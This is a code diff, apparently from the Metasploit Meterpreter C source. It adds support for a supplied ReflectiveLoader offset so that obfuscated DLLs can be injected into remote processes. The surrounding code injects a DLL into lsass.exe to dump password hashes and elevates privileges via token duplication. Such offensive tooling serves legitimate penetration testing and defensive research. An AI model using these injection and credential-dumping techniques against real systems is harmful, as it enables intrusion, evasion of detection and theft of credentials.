Reflective Loader for extensions in metsrv

c/meterpreter/source/common/common_core.h

@@ -151,6 +151,7 @@ typedef enum
 	TLV_TYPE_MIGRATE_STUB        = TLV_VALUE(TLV_META_TYPE_RAW,       411),   ///! Represents a migration stub (raw).
 	TLV_TYPE_LIB_LOADER_NAME     = TLV_VALUE(TLV_META_TYPE_STRING,    412),   ///! Represents the name of the ReflectiveLoader function (string).
 	TLV_TYPE_LIB_LOADER_ORDINAL  = TLV_VALUE(TLV_META_TYPE_UINT,      413),   ///! Represents the ordinal of the ReflectiveLoader function (int).
+	TLV_TYPE_LIB_LOADER_OFFSET   = TLV_VALUE(TLV_META_TYPE_UINT,      414),   ///! Represents the offset of the ReflectiveLoader function (unsigned int).
 
 	// Transport switching
 	TLV_TYPE_TRANS_TYPE          = TLV_VALUE(TLV_META_TYPE_UINT,      430),   ///! Represents the type of transport to switch to.

c/meterpreter/source/common/common_metapi.h

@@ -4,15 +4,19 @@
  */
 #ifndef _METERPRETER_COMMON_METAPI_H
 #define _METERPRETER_COMMON_METAPI_H
-
 #include "common_winapi.h"
 
+typedef struct _ReflectiveLoaderApi
+{
+	HANDLE (WINAPI *LoadRemoteLibraryR)(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter);
+} ReflectiveLoaderApi;
 typedef struct _InjectApi
 {
-	DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
+	DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize);
 	DWORD(*via_apcthread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
 	DWORD(*via_remotethread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
 	DWORD(*via_remotethread_wow64)(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* pThread);
+	ReflectiveLoaderApi reflective_loader;
 } InjectApi;
 
 typedef struct _ChannelApi

c/meterpreter/source/common/common_winapi.h

@@ -65,6 +65,7 @@ typedef struct _WinApiKernel32 {
     SIZE_T (*VirtualQuery)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
     SIZE_T (*VirtualQueryEx)(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
     BOOL   (*VirtualFree)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
+    BOOL   (*VirtualFreeEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
     HANDLE (*CreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
     BOOL   (*CloseHandle)(HANDLE hObject);
     BOOL   (*DuplicateHandle)(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);

c/meterpreter/source/extensions/priv/passwd.c

@@ -503,7 +503,11 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
 		dprintf("[PASSWD] Injecting into lsass.exe pid: %u", dwLsassPid);
 
 		/* todo: change the ReflectiveLoader string here, it's silly */
-		if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), pvParameterMemory, 0)) != ERROR_SUCCESS)
+		/* Currently is hard to support obfuscation of dump_sam.
+		    Due to how dump_sam is embedded inside the priv extension.
+		    Hardcoding offset to 0 so it will use the original `ReflectiveLoader` 
+		*/
+		if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), 0, pvParameterMemory, 0)) != ERROR_SUCCESS)
 			BREAK_WITH_ERROR("[PASSWD} Unable to inject DLL", dwResult);
 		dprintf("[PASSWD] Successfully injected the DLL into lsass.exe");
 

c/meterpreter/source/extensions/priv/tokendup.c

@@ -1,8 +1,6 @@
 #include "precomp.h"
 #include "common_metapi.h"
 #include "tokendup.h"
-#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
-#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.c"
 
 /*
  * Enable or disable a privilege in our processes current token.
@@ -79,6 +77,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
 	do
 	{
 		LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(packet);
+		DWORD dwActualReflectiveLoaderOffset = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LIB_LOADER_OFFSET);
 
 		// only works on x86 systems for now...
 		if( elevate_getnativearch() != PROCESS_ARCH_X86 )
@@ -156,7 +155,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
 					break;
 
 				// use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll
-				hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, lpRemoteCommandLine );
+				hThread = met_api->inject.reflective_loader.LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, dwActualReflectiveLoaderOffset, lpRemoteCommandLine );
 				if( !hThread )
 					break;
 

c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c

@@ -71,7 +71,8 @@ DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader,
 		if( dwDllArch != dwPidArch )
 			BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT );
 
-		dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, cpCommandLine, strlen(cpCommandLine) + 1 );
+		// TODO: support offset for obfuscated dlls
+		dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, 0, cpCommandLine, strlen(cpCommandLine) + 1 );
 	} while( 0 );
 
 	return dwResult;

c/meterpreter/source/extensions/stdapi/server/ui/desktop.c

@@ -427,6 +427,10 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request)
 		}
 
 		LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(request);
+		/* TODO: Get optional offset for external reflective loader
+		 * Modify the DLL_BUFFER struct to support offsets...
+		 * another note is to remove / update this technique to a better one.
+		 */
 
 		// get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes
 		// we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system

c/meterpreter/source/metsrv/base_inject.c

@@ -654,7 +654,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
  */
 
 
-DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize)
+DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize)
 {
 	DWORD dwResult = ERROR_ACCESS_DENIED;
 	LPVOID lpRemoteArg = NULL;
@@ -672,6 +672,10 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD
 
 		// check if the library has a ReflectiveLoader...
 		dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpDllBuffer, reflectiveLoader);
+		if(dwActualReflectiveLoaderOffset != 0) {
+			dprintf("[INJECT] inject_dll. Overriding ReflectiveLoader offset with supplied value: 0x%08X", dwActualReflectiveLoaderOffset);
+			dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset;
+		}
 		if (!dwReflectiveLoaderOffset)
 			BREAK_WITH_ERROR("[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION);
 

c/meterpreter/source/metsrv/base_inject.h

@@ -98,7 +98,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
 
 DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);
 
-DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
+DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize);
 BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch);
 //===============================================================================================//
 #endif